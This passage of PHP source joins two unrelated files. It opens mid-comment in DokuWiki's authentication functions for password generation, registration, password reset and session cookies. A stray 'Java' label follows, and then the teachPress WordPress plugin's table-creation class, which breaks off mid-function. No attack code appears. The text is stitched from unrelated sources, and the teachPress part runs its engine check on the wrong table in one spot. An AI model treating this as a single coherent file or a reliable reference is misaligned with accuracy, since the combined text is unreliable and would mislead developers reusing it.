variable might be used by plugins to run additional password * policy checks, but is not used by the default implementation * * @author Andreas Gohr <andi@splitbrain.org> * @link http://www.phpbuilder.com/annotate/message.php3?id=1014451 * @triggers AUTH_PASSWORD_GENERATE * * @param string $foruser username for which the password is generated * @return string pronouncable password */ function auth_pwgen($foruser = '') { $data = array( 'password' => '', 'foruser' => $foruser ); $evt = new Doku_Event('AUTH_PASSWORD_GENERATE', $data); if($evt->advise_before(true)) { $c = 'bcdfghjklmnprstvwz'; //consonants except hard to speak ones $v = 'aeiou'; //vowels $a = $c.$v; //both $s = '!$%&?+*~#-_:.;,'; // specials //use thre syllables... for($i = 0; $i < 3; $i++) { $data['password'] .= $c[auth_random(0, strlen($c) - 1)]; $data['password'] .= $v[auth_random(0, strlen($v) - 1)]; $data['password'] .= $a[auth_random(0, strlen($a) - 1)]; } //... and add a nice number and special $data['password'] .= auth_random(10, 99).$s[auth_random(0, strlen($s) - 1)]; } $evt->advise_after(); return $data['password']; } /** * Sends a password to the given user * * @author Andreas Gohr <andi@splitbrain.org> * * @param string $user Login name of the user * @param string $password The new password in clear text * @return bool true on success */ function auth_sendPassword($user, $password) { global $lang; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; if(!$auth) return false; $user = $auth->cleanUser($user); $userinfo = $auth->getUserData($user, $requireGroups = false); if(!$userinfo['mail']) return false; $text = rawLocale('password'); $trep = array( 'FULLNAME' => $userinfo['name'], 'LOGIN' => $user, 'PASSWORD' => $password ); $mail = new Mailer(); $mail->to($userinfo['name'].' <'.$userinfo['mail'].'>'); $mail->subject($lang['regpwmail']); $mail->setBody($text, $trep); return $mail->send(); } /** * Register a new user * * This registers a new user - Data is read directly from $_POST * * @author Andreas Gohr <andi@splitbrain.org> * * @return bool true on success, false on any error */ function register() { global $lang; global $conf; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; global $INPUT; if(!$INPUT->post->bool('save')) return false; if(!actionOK('register')) return false; // gather input $login = trim($auth->cleanUser($INPUT->post->str('login'))); $fullname = trim(preg_replace('/[\x00-\x1f:<>&%,;]+/', '', $INPUT->post->str('fullname'))); $email = trim(preg_replace('/[\x00-\x1f:<>&%,;]+/', '', $INPUT->post->str('email'))); $pass = $INPUT->post->str('pass'); $passchk = $INPUT->post->str('passchk'); if(empty($login) || empty($fullname) || empty($email)) { msg($lang['regmissing'], -1); return false; } if($conf['autopasswd']) { $pass = auth_pwgen($login); // automatically generate password } elseif(empty($pass) || empty($passchk)) { msg($lang['regmissing'], -1); // complain about missing passwords return false; } elseif($pass != $passchk) { msg($lang['regbadpass'], -1); // complain about misspelled passwords return false; } //check mail if(!mail_isvalid($email)) { msg($lang['regbadmail'], -1); return false; } //okay try to create the user if(!$auth->triggerUserMod('create', array($login, $pass, $fullname, $email))) { msg($lang['regfail'], -1); return false; } // send notification about the new user $subscription = new Subscription(); $subscription->send_register($login, $fullname, $email); // are we done? if(!$conf['autopasswd']) { msg($lang['regsuccess2'], 1); return true; } // autogenerated password? then send password to user if(auth_sendPassword($login, $pass)) { msg($lang['regsuccess'], 1); return true; } else { msg($lang['regmailfail'], -1); return false; } } /** * Update user profile * * @author Christopher Smith <chris@jalakai.co.uk> */ function updateprofile() { global $conf; global $lang; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; if(!$INPUT->post->bool('save')) return false; if(!checkSecurityToken()) return false; if(!actionOK('profile')) { msg($lang['profna'], -1); return false; } $changes = array(); $changes['pass'] = $INPUT->post->str('newpass'); $changes['name'] = $INPUT->post->str('fullname'); $changes['mail'] = $INPUT->post->str('email'); // check misspelled passwords if($changes['pass'] != $INPUT->post->str('passchk')) { msg($lang['regbadpass'], -1); return false; } // clean fullname and email $changes['name'] = trim(preg_replace('/[\x00-\x1f:<>&%,;]+/', '', $changes['name'])); $changes['mail'] = trim(preg_replace('/[\x00-\x1f:<>&%,;]+/', '', $changes['mail'])); // no empty name and email (except the backend doesn't support them) if((empty($changes['name']) && $auth->canDo('modName')) || (empty($changes['mail']) && $auth->canDo('modMail')) ) { msg($lang['profnoempty'], -1); return false; } if(!mail_isvalid($changes['mail']) && $auth->canDo('modMail')) { msg($lang['regbadmail'], -1); return false; } $changes = array_filter($changes); // check for unavailable capabilities if(!$auth->canDo('modName')) unset($changes['name']); if(!$auth->canDo('modMail')) unset($changes['mail']); if(!$auth->canDo('modPass')) unset($changes['pass']); // anything to do? if(!count($changes)) { msg($lang['profnochange'], -1); return false; } if($conf['profileconfirm']) { if(!$auth->checkPass($INPUT->server->str('REMOTE_USER'), $INPUT->post->str('oldpass'))) { msg($lang['badpassconfirm'], -1); return false; } } if(!$auth->triggerUserMod('modify', array($INPUT->server->str('REMOTE_USER'), &$changes))) { msg($lang['proffail'], -1); return false; } // update cookie and session with the changed data if($changes['pass']) { list( /*user*/, $sticky, /*pass*/) = auth_getCookie(); $pass = auth_encrypt($changes['pass'], auth_cookiesalt(!$sticky, true)); auth_setCookie($INPUT->server->str('REMOTE_USER'), $pass, (bool) $sticky); } return true; } /** * Delete the current logged-in user * * @return bool true on success, false on any error */ function auth_deleteprofile(){ global $conf; global $lang; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; if(!$INPUT->post->bool('delete')) return false; if(!checkSecurityToken()) return false; // action prevented or auth module disallows if(!actionOK('profile_delete') || !$auth->canDo('delUser')) { msg($lang['profnodelete'], -1); return false; } if(!$INPUT->post->bool('confirm_delete')){ msg($lang['profconfdeletemissing'], -1); return false; } if($conf['profileconfirm']) { if(!$auth->checkPass($INPUT->server->str('REMOTE_USER'), $INPUT->post->str('oldpass'))) { msg($lang['badpassconfirm'], -1); return false; } } $deleted = array(); $deleted[] = $INPUT->server->str('REMOTE_USER'); if($auth->triggerUserMod('delete', array($deleted))) { // force and immediate logout including removing the sticky cookie auth_logoff(); return true; } return false; } /** * Send a new password * * This function handles both phases of the password reset: * * - handling the first request of password reset * - validating the password reset auth token * * @author Benoit Chesneau <benoit@bchesneau.info> * @author Chris Smith <chris@jalakai.co.uk> * @author Andreas Gohr <andi@splitbrain.org> * * @return bool true on success, false on any error */ function act_resendpwd() { global $lang; global $conf; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; /* @var Input $INPUT */ global $INPUT; if(!actionOK('resendpwd')) { msg($lang['resendna'], -1); return false; } $token = preg_replace('/[^a-f0-9]+/', '', $INPUT->str('pwauth')); if($token) { // we're in token phase - get user info from token $tfile = $conf['cachedir'].'/'.$token{0}.'/'.$token.'.pwauth'; if(!file_exists($tfile)) { msg($lang['resendpwdbadauth'], -1); $INPUT->remove('pwauth'); return false; } // token is only valid for 3 days if((time() - filemtime($tfile)) > (3 * 60 * 60 * 24)) { msg($lang['resendpwdbadauth'], -1); $INPUT->remove('pwauth'); @unlink($tfile); return false; } $user = io_readfile($tfile); $userinfo = $auth->getUserData($user, $requireGroups = false); if(!$userinfo['mail']) { msg($lang['resendpwdnouser'], -1); return false; } if(!$conf['autopasswd']) { // we let the user choose a password $pass = $INPUT->str('pass'); // password given correctly? if(!$pass) return false; if($pass != $INPUT->str('passchk')) { msg($lang['regbadpass'], -1); return false; } // change it if(!$auth->triggerUserMod('modify', array($user, array('pass' => $pass)))) { msg($lang['proffail'], -1); return false; } } else { // autogenerate the password and send by mail $pass = auth_pwgen($user); if(!$auth->triggerUserMod('modify', array($user, array('pass' => $pass)))) { msg($lang['proffail'], -1); return false; } if(auth_sendPassword($user, $pass)) { msg($lang['resendpwdsuccess'], 1); } else { msg($lang['regmailfail'], -1); } } @unlink($tfile); return true; } else { // we're in request phase if(!$INPUT->post->bool('save')) return false; if(!$INPUT->post->str('login')) { msg($lang['resendpwdmissing'], -1); return false; } else { $user = trim($auth->cleanUser($INPUT->post->str('login'))); } $userinfo = $auth->getUserData($user, $requireGroups = false); if(!$userinfo['mail']) { msg($lang['resendpwdnouser'], -1); return false; } // generate auth token $token = md5(auth_randombytes(16)); // random secret $tfile = $conf['cachedir'].'/'.$token{0}.'/'.$token.'.pwauth'; $url = wl('', array('do'=> 'resendpwd', 'pwauth'=> $token), true, '&'); io_saveFile($tfile, $user); $text = rawLocale('pwconfirm'); $trep = array( 'FULLNAME' => $userinfo['name'], 'LOGIN' => $user, 'CONFIRM' => $url ); $mail = new Mailer(); $mail->to($userinfo['name'].' <'.$userinfo['mail'].'>'); $mail->subject($lang['regpwmail']); $mail->setBody($text, $trep); if($mail->send()) { msg($lang['resendpwdconfirm'], 1); } else { msg($lang['regmailfail'], -1); } return true; } // never reached } /** * Encrypts a password using the given method and salt * * If the selected method needs a salt and none was given, a random one * is chosen. * * @author Andreas Gohr <andi@splitbrain.org> * * @param string $clear The clear text password * @param string $method The hashing method * @param string $salt A salt, null for random * @return string The crypted password */ function auth_cryptPassword($clear, $method = '', $salt = null) { global $conf; if(empty($method)) $method = $conf['passcrypt']; $pass = new PassHash(); $call = 'hash_'.$method; if(!method_exists($pass, $call)) { msg("Unsupported crypt method $method", -1); return false; } return $pass->$call($clear, $salt); } /** * Verifies a cleartext password against a crypted hash * * @author Andreas Gohr <andi@splitbrain.org> * * @param string $clear The clear text password * @param string $crypt The hash to compare with * @return bool true if both match */ function auth_verifyPassword($clear, $crypt) { $pass = new PassHash(); return $pass->verify_hash($clear, $crypt); } /** * Set the authentication cookie and add user identification data to the session * * @param string $user username * @param string $pass encrypted password * @param bool $sticky whether or not the cookie will last beyond the session * @return bool */ function auth_setCookie($user, $pass, $sticky) { global $conf; /* @var DokuWiki_Auth_Plugin $auth */ global $auth; global $USERINFO; if(!$auth) return false; $USERINFO = $auth->getUserData($user); // set cookie $cookie = base64_encode($user).'|'.((int) $sticky).'|'.base64_encode($pass); $cookieDir = empty($conf['cookiedir']) ? DOKU_REL : $conf['cookiedir']; $time = $sticky ? (time() + 60 * 60 * 24 * 365) : 0; //one year setcookie(DOKU_COOKIE, $cookie, $time, $cookieDir, '', ($conf['securecookie'] && is_ssl()), true); // set session $_SESSION[DOKU_COOKIE]['auth']['user'] = $user; $_SESSION[DOKU_COOKIE]['auth']['pass'] = sha1($pass); $_SESSION[DOKU_COOKIE]['auth']['buid'] = auth_browseruid(); $_SESSION[DOKU_COOKIE]['auth']['info'] = $USERINFO; $_SESSION[DOKU_COOKIE]['auth']['time'] = time(); return true; } /** * Returns the user, (encrypted) password and sticky bit from cookie * * @returns array */ function auth_getCookie() { if(!isset($_COOKIE[DOKU_COOKIE])) { return array(null, null, null); } list($user, $sticky, $pass) = explode('|', $_COOKIE[DOKU_COOKIE], 3); $sticky = (bool) $sticky; $pass = base64_decode($pass); $user = base64_decode($user); return array($user, $sticky, $pass); } //Setup VIM: ex: et ts=2 :
Java
<?php /** * This file contains all functions for creating a database for teachpress * * @package teachpress\core\installation * @license http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later * @since 5.0.0 */ /** * This class contains all functions for creating a database for teachpress * @package teachpress\core\installation * @since 5.0.0 */ class TP_Tables { /** * Install teachPress database tables * @since 5.0.0 */ public static function create() { global $wpdb; self::add_capabilities(); $charset_collate = self::get_charset(); // Disable foreign key checks if ( TEACHPRESS_FOREIGN_KEY_CHECKS === false ) { $wpdb->query("SET foreign_key_checks = 0"); } // Settings self::add_table_settings($charset_collate); // Courses self::add_table_courses($charset_collate); self::add_table_course_meta($charset_collate); self::add_table_course_capabilities($charset_collate); self::add_table_course_documents($charset_collate); self::add_table_stud($charset_collate); self::add_table_stud_meta($charset_collate); self::add_table_signup($charset_collate); self::add_table_artefacts($charset_collate); self::add_table_assessments($charset_collate); // Publications self::add_table_pub($charset_collate); self::add_table_pub_meta($charset_collate); self::add_table_pub_capabilities($charset_collate); self::add_table_pub_documents($charset_collate); self::add_table_pub_imports($charset_collate); self::add_table_tags($charset_collate); self::add_table_relation($charset_collate); self::add_table_user($charset_collate); self::add_table_authors($charset_collate); self::add_table_rel_pub_auth($charset_collate); // Enable foreign key checks if ( TEACHPRESS_FOREIGN_KEY_CHECKS === false ) { $wpdb->query("SET foreign_key_checks = 1"); } } /** * Remove teachPress database tables * @since 5.0.0 */ public static function remove() { global $wpdb; $wpdb->query("SET FOREIGN_KEY_CHECKS=0"); $wpdb->query("DROP TABLE `" . TEACHPRESS_ARTEFACTS . "`, `" . TEACHPRESS_ASSESSMENTS . "`, `" . TEACHPRESS_AUTHORS . "`, `" . TEACHPRESS_COURSES . "`, `" . TEACHPRESS_COURSE_CAPABILITIES . "`, `" . TEACHPRESS_COURSE_DOCUMENTS . "`, `" . TEACHPRESS_COURSE_META . "`, `" . TEACHPRESS_PUB . "`, `" . TEACHPRESS_PUB_CAPABILITIES . "`, `" . TEACHPRESS_PUB_DOCUMENTS . "`, `" . TEACHPRESS_PUB_META . "`, `" . TEACHPRESS_PUB_IMPORTS . "`, `" . TEACHPRESS_RELATION ."`, `" . TEACHPRESS_REL_PUB_AUTH . "`, `" . TEACHPRESS_SETTINGS ."`, `" . TEACHPRESS_SIGNUP ."`, `" . TEACHPRESS_STUD . "`, `" . TEACHPRESS_STUD_META . "`, `" . TEACHPRESS_TAGS . "`, `" . TEACHPRESS_USER . "`"); $wpdb->query("SET FOREIGN_KEY_CHECKS=1"); } /** * Returns an associative array with table status informations (Name, Engine, Version, Rows,...) * @param string $table * @return array * @since 5.0.0 */ public static function check_table_status($table){ global $wpdb; return $wpdb->get_row("SHOW TABLE STATUS FROM " . DB_NAME . " WHERE `Name` = '$table'", ARRAY_A); } /** * Tests if the engine for the selected table is InnoDB. If not, the function changes the engine. * @param string $table * @since 5.0.0 * @access private */ private static function change_engine($table){ global $wpdb; $db_info = self::check_table_status($table); if ( $db_info['Engine'] != 'InnoDB' ) { $wpdb->query("ALTER TABLE " . $table . " ENGINE = INNODB"); } } /** * Create table teachpress_courses * @param string $charset_collate * @since 5.0.0 */ public static function add_table_courses($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_COURSES . "'") == TEACHPRESS_COURSES ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_COURSES . " ( `course_id` INT UNSIGNED AUTO_INCREMENT, `name` VARCHAR(100), `type` VARCHAR (100), `room` VARCHAR(100), `lecturer` VARCHAR (100), `date` VARCHAR(60), `places` INT(4), `start` DATETIME, `end` DATETIME, `semester` VARCHAR(100), `comment` VARCHAR(500), `rel_page` INT, `parent` INT, `visible` INT(1), `waitinglist` INT(1), `image_url` VARCHAR(400), `strict_signup` INT(1), `use_capabilities` INT(1), PRIMARY KEY (`course_id`), KEY `semester` (`semester`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_COURSES); } /** * Create table course_capabilities * @param string $charset_collate * @since 5.0.0 */ public static function add_table_course_capabilities($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_COURSE_CAPABILITIES . "'") == TEACHPRESS_COURSE_CAPABILITIES ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_COURSE_CAPABILITIES . " ( `cap_id` INT UNSIGNED AUTO_INCREMENT, `wp_id` INT UNSIGNED, `course_id` INT UNSIGNED, `capability` VARCHAR(100), PRIMARY KEY (`cap_id`), KEY `ind_course_id` (`course_id`), KEY `ind_wp_id` (`wp_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_COURSE_CAPABILITIES); } /** * Create table course_documents * @param string $charset_collate * @since 5.0.0 */ public static function add_table_course_documents($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_COURSE_DOCUMENTS . "'") == TEACHPRESS_COURSE_DOCUMENTS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_COURSE_DOCUMENTS . " ( `doc_id` INT UNSIGNED AUTO_INCREMENT, `name` VARCHAR(500), `path` VARCHAR(500), `added` DATETIME, `size` BIGINT, `sort` INT, `course_id` INT UNSIGNED, PRIMARY KEY (doc_id), KEY `ind_course_id` (`course_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_COURSE_DOCUMENTS); } /** * Create table teachpress_course_meta * @param string $charset_collate * @since 5.0.0 */ public static function add_table_course_meta($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_COURSE_META . "'") == TEACHPRESS_COURSE_META ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_COURSE_META . " ( `meta_id` INT UNSIGNED AUTO_INCREMENT, `course_id` INT UNSIGNED, `meta_key` VARCHAR(255), `meta_value` TEXT, PRIMARY KEY (meta_id), KEY `ind_course_id` (`course_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_COURSE_META); } /** * Create table teachpress_stud * @param string $charset_collate * @since 5.0.0 */ public static function add_table_stud($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_STUD . "'") == TEACHPRESS_STUD ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_STUD . " ( `wp_id` INT UNSIGNED, `firstname` VARCHAR(100) , `lastname` VARCHAR(100), `userlogin` VARCHAR (100), `email` VARCHAR(50), PRIMARY KEY (wp_id), KEY `ind_userlogin` (`userlogin`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_STUD); } /** * Create table teachpress_stud_meta * @param string $charset_collate * @since 5.0.0 */ public static function add_table_stud_meta($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_STUD_META . "'") == TEACHPRESS_STUD_META ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_STUD_META . " ( `meta_id` INT UNSIGNED AUTO_INCREMENT, `wp_id` INT UNSIGNED, `meta_key` VARCHAR(255), `meta_value` TEXT, PRIMARY KEY (meta_id), KEY `ind_wp_id` (`wp_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_STUD_META); } /** * Create table teachpress_signup * @param string $charset_collate * @since 5.0.0 */ public static function add_table_signup($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_SIGNUP ."'") == TEACHPRESS_SIGNUP ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_SIGNUP ." ( `con_id` INT UNSIGNED AUTO_INCREMENT, `course_id` INT UNSIGNED, `wp_id` INT UNSIGNED, `waitinglist` INT(1) UNSIGNED, `date` DATETIME, PRIMARY KEY (con_id), KEY `ind_course_id` (`course_id`), KEY `ind_wp_id` (`wp_id`), KEY `ind_date` (`date`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_SIGNUP); } /** * Create table teachpress_artefacts * @param string $charset_collate * @since 5.0.0 */ public static function add_table_artefacts($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_ARTEFACTS . "'") == TEACHPRESS_ARTEFACTS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_ARTEFACTS . " ( `artefact_id` INT UNSIGNED AUTO_INCREMENT, `parent_id` INT UNSIGNED, `course_id` INT UNSIGNED, `title` VARCHAR(500), `scale` TEXT, `passed` INT(1), `max_value` VARCHAR(50), PRIMARY KEY (artefact_id), KEY `ind_course_id` (`course_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_ARTEFACTS); } /** * Create table teachpress_assessments * @param string $charset_collate * @since 5.0.0 */ public static function add_table_assessments($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_ASSESSMENTS . "'") == TEACHPRESS_ASSESSMENTS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_ASSESSMENTS . " ( `assessment_id` INT UNSIGNED AUTO_INCREMENT, `artefact_id` INT UNSIGNED, `course_id` INT UNSIGNED, `wp_id` INT UNSIGNED, `value` VARCHAR(50), `max_value` VARCHAR(50), `type` VARCHAR(50), `examiner_id` INT, `exam_date` DATETIME, `comment` TEXT, `passed` INT(1), PRIMARY KEY (assessment_id), KEY `ind_course_id` (`course_id`), KEY `ind_artefact_id` (`artefact_id`), KEY `ind_wp_id` (`wp_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_ASSESSMENTS); } /** * Create table teachpress_settings * @param string $charset_collate * @since 5.0.0 */ public static function add_table_settings($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_SETTINGS . "'") == TEACHPRESS_SETTINGS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_SETTINGS . " ( `setting_id` INT UNSIGNED AUTO_INCREMENT, `variable` VARCHAR (100), `value` LONGTEXT, `category` VARCHAR (100), PRIMARY KEY (setting_id) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_SETTINGS); // Add default values self::add_default_settings(); } /** * Add default system settings * @since 5.0.0 */ public static function add_default_settings(){ global $wpdb; $value = '[tpsingle [key]]<!--more-->' . "\n\n[tpabstract]\n\n[tplinks]\n\n[tpbibtex]"; $version = get_tp_version(); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('sem', 'Example term', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('db-version', '$version', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('sign_out', '0', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('login', 'std', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('stylesheet', '1', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_page_courses', 'page', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_page_publications', 'page', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_content_auto', '0', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_content_template', '$value', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('rel_content_category', '', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('import_overwrite', '1', 'system')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('convert_bibtex', '0', 'system')"); // Example values $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('Example term', 'Example term', 'semester')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('Example', 'Example', 'course_of_studies')"); $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . "(`variable`, `value`, `category`) VALUES ('Lecture', 'Lecture', 'course_type')"); // Register example meta data fields // course_of_studies $value = 'name = {course_of_studies}, title = {' . __('Course of studies','teachpress') . '}, type = {SELECT}, required = {false}, min = {false}, max = {false}, step = {false}, visibility = {admin}'; $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('course_of_studies', '$value', 'teachpress_stud')"); // birthday $value = 'name = {birthday}, title = {' . __('Birthday','teachpress') . '}, type = {DATE}, required = {false}, min = {false}, max = {false}, step = {false}, visibility = {normal}'; $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('birthday', '$value', 'teachpress_stud')"); // semester_number $value = 'name = {semester_number}, title = {' . __('Semester number','teachpress') . '}, type = {INT}, required = {false}, min = {1}, max = {99}, step = {1}, visibility = {normal}'; $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('semester_number', '$value', 'teachpress_stud')"); // matriculation_number $value = 'name = {matriculation_number}, title = {' . __('Matriculation number','teachpress') . '}, type = {INT}, required = {false}, min = {1}, max = {1000000}, step = {1}, visibility = {admin}'; $wpdb->query("INSERT INTO " . TEACHPRESS_SETTINGS . " (`variable`, `value`, `category`) VALUES ('matriculation_number', '$value', 'teachpress_stud')"); } /** * Create table teachpress_pub * @param string $charset_collate * @since 5.0.0 */ public static function add_table_pub($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB . "'") == TEACHPRESS_PUB ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_PUB . " ( `pub_id` INT UNSIGNED AUTO_INCREMENT, `title` VARCHAR(500), `type` VARCHAR (50), `bibtex` VARCHAR (100), `author` VARCHAR (3000), `editor` VARCHAR (3000), `isbn` VARCHAR (50), `url` TEXT, `date` DATE, `urldate` DATE, `booktitle` VARCHAR (1000), `issuetitle` VARCHAR (200), `journal` VARCHAR(200), `issue` VARCHAR(40), `volume` VARCHAR(40), `number` VARCHAR(40), `pages` VARCHAR(40), `publisher` VARCHAR (500), `address` VARCHAR (300), `edition` VARCHAR (100), `chapter` VARCHAR (40), `institution` VARCHAR (500), `organization` VARCHAR (500), `school` VARCHAR (200), `series` VARCHAR (200), `crossref` VARCHAR (100), `abstract` TEXT, `howpublished` VARCHAR (200), `key` VARCHAR (100), `techtype` VARCHAR (200), `comment` TEXT, `note` TEXT, `image_url` VARCHAR (400), `image_target` VARCHAR (100), `image_ext` VARCHAR (400), `doi` VARCHAR (100), `is_isbn` INT(1), `rel_page` INT, `status` VARCHAR (100) DEFAULT 'published', `added` DATETIME, `modified` DATETIME, `use_capabilities` INT(1), `import_id` INT, PRIMARY KEY (pub_id), KEY `ind_type` (`type`), KEY `ind_date` (`date`), KEY `ind_import_id` (`import_id`), KEY `ind_key` (`key`), KEY `ind_bibtex_key` (`bibtex`), KEY `ind_status` (`status`) ) ROW_FORMAT=DYNAMIC $charset_collate;"); // test engine self::change_engine(TEACHPRESS_PUB); } /** * Create table teachpress_pub_meta * @param string $charset_collate * @since 5.0.0 */ public static function add_table_pub_meta($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB_META . "'") == TEACHPRESS_PUB_META ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_PUB_META . " ( `meta_id` INT UNSIGNED AUTO_INCREMENT, `pub_id` INT UNSIGNED, `meta_key` VARCHAR(255), `meta_value` TEXT, PRIMARY KEY (meta_id), KEY `ind_pub_id` (`pub_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_PUB_META); } /** * Create table pub_capabilities * @param string $charset_collate * @since 6.0.0 */ public static function add_table_pub_capabilities($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB_CAPABILITIES . "'") == TEACHPRESS_PUB_CAPABILITIES ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_PUB_CAPABILITIES . " ( `cap_id` INT UNSIGNED AUTO_INCREMENT, `wp_id` INT UNSIGNED, `pub_id` INT UNSIGNED, `capability` VARCHAR(100), PRIMARY KEY (`cap_id`), KEY `ind_pub_id` (`pub_id`), KEY `ind_wp_id` (`wp_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_PUB_CAPABILITIES); } /** * Create table pub_documents * @param string $charset_collate * @since 6.0.0 */ public static function add_table_pub_documents($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB_DOCUMENTS . "'") == TEACHPRESS_PUB_DOCUMENTS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_PUB_DOCUMENTS . " ( `doc_id` INT UNSIGNED AUTO_INCREMENT, `name` VARCHAR(500), `path` VARCHAR(500), `added` DATETIME, `size` BIGINT, `sort` INT, `pub_id` INT UNSIGNED, PRIMARY KEY (doc_id), KEY `ind_pub_id` (`pub_id`) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_PUB_DOCUMENTS); } /** * Create table pub_imports * @param string $charset_collate * @since 6.1.0 */ public static function add_table_pub_imports($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_PUB_IMPORTS . "'") == TEACHPRESS_PUB_IMPORTS ) { return; } require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta("CREATE TABLE " . TEACHPRESS_PUB_IMPORTS . " ( `id` INT UNSIGNED AUTO_INCREMENT, `wp_id` INT UNSIGNED, `date` DATETIME, PRIMARY KEY (id) ) $charset_collate;"); // test engine self::change_engine(TEACHPRESS_PUB_DOCUMENTS); } /** * Create table teachpress_tags * @param string $charset_collate * @since 5.0.0 */ public static function add_table_tags($charset_collate) { global $wpdb; if( $wpdb->get_var("SHOW TABLES LIKE '" . TEACHPRESS_TAGS . "'") == TEACHPRESS_TAGS ) { return; } 